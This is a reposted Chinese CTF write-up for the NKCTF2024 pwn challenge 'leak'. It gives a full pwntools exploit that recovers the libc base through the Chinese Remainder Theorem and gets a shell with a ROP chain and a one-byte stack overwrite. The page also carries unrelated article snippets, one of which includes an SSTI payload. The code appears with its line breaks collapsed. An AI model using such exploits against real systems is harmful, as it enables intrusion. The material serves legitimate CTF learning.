[NKCTF2024]-PWN:leak解析(中国剩余定理泄露libc地址,汇编覆盖返回地址)

查看保护

查看ida

先放exp

完整exp:

from pwn import*
from sympy.ntheory.modular import crt
context(log_level='debug',arch='amd64')while True:p=process('./leak')ps=[101,103,107,109,113,127]p.sendafter(b'secret\n',bytes(ps))cs=[0]*6for i in range(6):cs[i]=u32(p.recv(1).ljust(4,b'\x00'))print(hex(cs[i]))onestack=u32(p.recv(1).ljust(4,b'\x00'))if onestack+0x58>0xff:p.close()continueprint("onestack"+hex(onestack))res=crt(ps,cs)[0]n=1for i in range(0,6):n*=ps[i]c=0stdout=0while True:stdout=res+c*nif (stdout>>44)==0x07:if (stdout&0xfff)==0x780:breakc+=1assert c<100libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')libcbase=stdout-libc.sym['_IO_2_1_stdout_']ret=libcbase+0x29139pop_rdi=libcbase+0x2a3e5system=libcbase+libc.sym['system']binsh=libcbase+next(libc.search(b'/bin/sh'))payload=p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)+p8((onestack+0x58)&0xff)p.send(payload)#p.send(b'aa')p.interactive()break

#解释点1:这里是接收程序输出的六次结果来解中国剩余定理来算出stdout的地址,算出libc基地址。

#解释点2:这里最后覆盖一个字节的栈地址是为了把payload全覆盖到返回地址上去。这个是从汇编指令上看的

这里把地址移动到rcx之后就以rcx内的值来确定移动位置,因为rbp+buf的位置存的是栈上地址,如果我们把最后一个字节覆盖掉就可以控制rcx的值,从而控制payload移动的位置,执行getshell。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/803326.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java 基于微信小程序的校园请教小程序的研究与实现,附源码

博主介绍&#xff1a;✌程序员徐师兄、10年大厂程序员经历。全网粉丝12W、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专栏推荐订阅&#x1f447…

SpringBoot整合Spring Data JPA

✅作者简介:大家好,我是Leo,热爱Java后端开发者,一个想要与大家共同进步的男人😉😉🍎个人主页:Leo的博客💞当前专栏: 循序渐进学SpringBoot ✨特色专栏: MySQL学习 🥭本文内容: SpringBoot整合Spring Data JPA 📚个人知识库: Leo知识库,欢迎大家访问 1.…

ChatGPT新手指南:如何用AI写出专业学术论文

ChatGPT无限次数:点击直达 ChatGPT新手指南&#xff1a;如何用AI写出专业学术论文 在当今信息爆炸的时代&#xff0c;人工智能技术的快速发展为我们提供了许多新的可能性。ChatGPT作为一种先进的自然语言处理技术&#xff0c;不仅能够进行对话和文本生成&#xff0c;还可以辅助…

淘宝销量API商品详情页原数据APP接口测试㊣

淘宝/天猫获得淘宝app商品详情原数据 API 返回值说明 item_get_app-获得淘宝app商品详情原数据 公共参数 名称类型必须描述keyString是调用key&#xff08;必须以GET方式拼接在URL中&#xff09;secretString是调用密钥api_nameString是API接口名称&#xff08;包括在请求地…

Java-StringBuilder容器

一、基础用法 1.创建对象 StringBuilder sbnew StringBuilder(); 2.添加元素 可以添加整型、浮点型、字符串等。 sb.append(1); sb.append(2.3); sb.append(true); 3.反转 sb.reverse(); 4.获取长度 int len sb.length(); 5.转变成字符串 tring strsb.toString(); …

Python学习笔记11 - 列表

1. 列表的创建与删除 2. 列表的查询操作 3. 列表的增、删、改操作 4. 列表元素的排序 5. 列表生成式

利用IP地址判断羊毛用户:IP数据云提供IP风险画像

在当今数字化社会&#xff0c;互联网已经成为人们日常生活和商业活动中不可或缺的一部分。然而&#xff0c;随着网络的普及&#xff0c;网络欺诈行为也日益猖獗&#xff0c;其中包括了羊毛党这一群体。羊毛党指的是利用各种手段获取利益、奖励或者优惠而频繁刷取优惠券、注册账…

png转换成jpg格式?这几种方法很简单

在发送电子邮件时&#xff0c;附件的大小是一个重要的考虑因素。将PNG图像转换为jpg格式可以减小文件大小&#xff0c;减少附件的传输时间和存储空间占用。这对于商务邮件、个人邮件或邮件营销活动中的图片附件都非常有用&#xff0c;下面就介绍几个可以快速完成图片转格式的方…

C++之std::initializer_list详解

目录 1.引言 2.容器的初始化 3.函数中使用std::initializer_list 4.自定义类型中使用std::initializer_list 5.迭代std::initializer_list 6. 在模板中使用std::initializer_list 7.std::initializer_list的限制 8.总结 1.引言 std::initializer_list 是 C11 中的一个特…

在Win11上部署大模型推理加速工具vLLM

vLLM是伯克利大学LMSYS组织开源的大语言模型高速推理框架&#xff0c;旨在极大地提升实时场景下的语言模型服务的吞吐与内存使用效率。vLLM是一个快速且易于使用的库&#xff0c;用于 LLM 推理和服务&#xff0c;可以和HuggingFace 无缝集成。vLLM利用了全新的注意力算法PagedA…

Docker容器与虚拟化技术:OpenEuler 部署 Prometheus 与 Grafana

目录 一、实验 1.环境 2.OpenEuler 部署 Prometheus 3.OpenEuler 部署 Grafana 4.使用cpolar内网穿透 二、问题 1.拉取镜像失败 2.如何导入Grafana监控模板&#xff08;ES&#xff09; 一、实验 1.环境 &#xff08;1&#xff09;主机 表1 主机 系统架构版本IP备注…

Scrapy框架spider类异常处理

说明&#xff1a;仅供学习使用&#xff0c;请勿用于非法用途&#xff0c;若有侵权&#xff0c;请联系博主删除 作者&#xff1a;zhu6201976 一、捕获Request所有网络相关异常 在spider类中&#xff0c;我们构造Request对象或FormRequest对象时&#xff0c;可传递参数errback回调…

JAR包文件修改

项目中遇到修改JAR包中的某个依赖或者配置的话一般分为两种方式 1、压缩文件只能用来修改&#xff08;1&#xff09;配置文件&#xff08;2&#xff09;Java类&#xff08;3&#xff09;Mapper文件 2、使用Java 命令来 &#xff08;1&#xff09;解压Jar包 &#xff08;2&…

BugKu:Simple SSTI

1.进入此题 2.查看源代码 可以知道要传入一个名为flag的参数&#xff0c;又说我们经常设置一个secret_key 3.flask模版注入 /?flag{{config.SECRET_KEY}} 4.学有所思 4.1 什么是flask&#xff1f; flask是用python编写的一个轻量web开发框架 4.2 SSTI成因&#xff08;SST…

【数据结构与算法】:堆排序和选择排序

1. 堆排序 堆排序是一种比较复杂的排序算法&#xff0c;因为它的流程比较多&#xff0c;理解起来不会像冒泡排序和选择排序那样直观。 1.1 堆的结构 要理解堆排序&#xff0c;首先要理解堆。堆的逻辑结构是一棵完全二叉树&#xff0c;物理结构是一个数组。 (如果不知道什么是…

链表的中间结点——每日一题

题目链接&#xff1a; OJ链接 题目&#xff1a; 给你单链表的头结点 head &#xff0c;请你找出并返回链表的中间结点。 如果有两个中间结点&#xff0c;则返回第二个中间结点。 示例 1&#xff1a; 输入&#xff1a;head [1,2,3,4,5] 输出&#xff1a;[3,4,5] 解释&…

sql注入笔记整理

概念 发生在与数据库交互时&#xff1b;将未经过滤的用户输入信息合并到执行代码中造成恶意代码的执行错误注入 extractvalue(xml_flag,xpath) 如果出错打印xpath内容&#xff1b;数据库不识别#~符号 extractvalue(1,concat(~,database(),~)) 会打印出~数据库名~ updatexml(xml…

【架构师】-- 成长路线图

成长为软件架构师不是一件容易的事&#xff0c;这篇文章列举了架构师需要学习的技术储备&#xff0c;给出了成为软件架构师的路线图&#xff0c;帮助有志于在架构领域成长的同学可以明确学习的方向。原文&#xff1a;Master Plan for becoming a Software Architect[1] 软件架…

【优选算法专栏】专题十八:BFS解决拓扑排序(一)

本专栏内容为&#xff1a;算法学习专栏&#xff0c;分为优选算法专栏&#xff0c;贪心算法专栏&#xff0c;动态规划专栏以及递归&#xff0c;搜索与回溯算法专栏四部分。 通过本专栏的深入学习&#xff0c;你可以了解并掌握算法。 &#x1f493;博主csdn个人主页&#xff1a;小…

shamrockcms代码审计-啥也没有

shamrockcms 环境搭建 使用阿里源&#xff0c;创建数据库&#xff0c;运行shamrockcms.sql文件&#xff0c;将configure.properties中的jdbc修改为自己本地或者其他ip数据库连接&#xff0c;并且将ueditor.config.json中的master修改为localhost或者其他自己设置的ip 危险组件…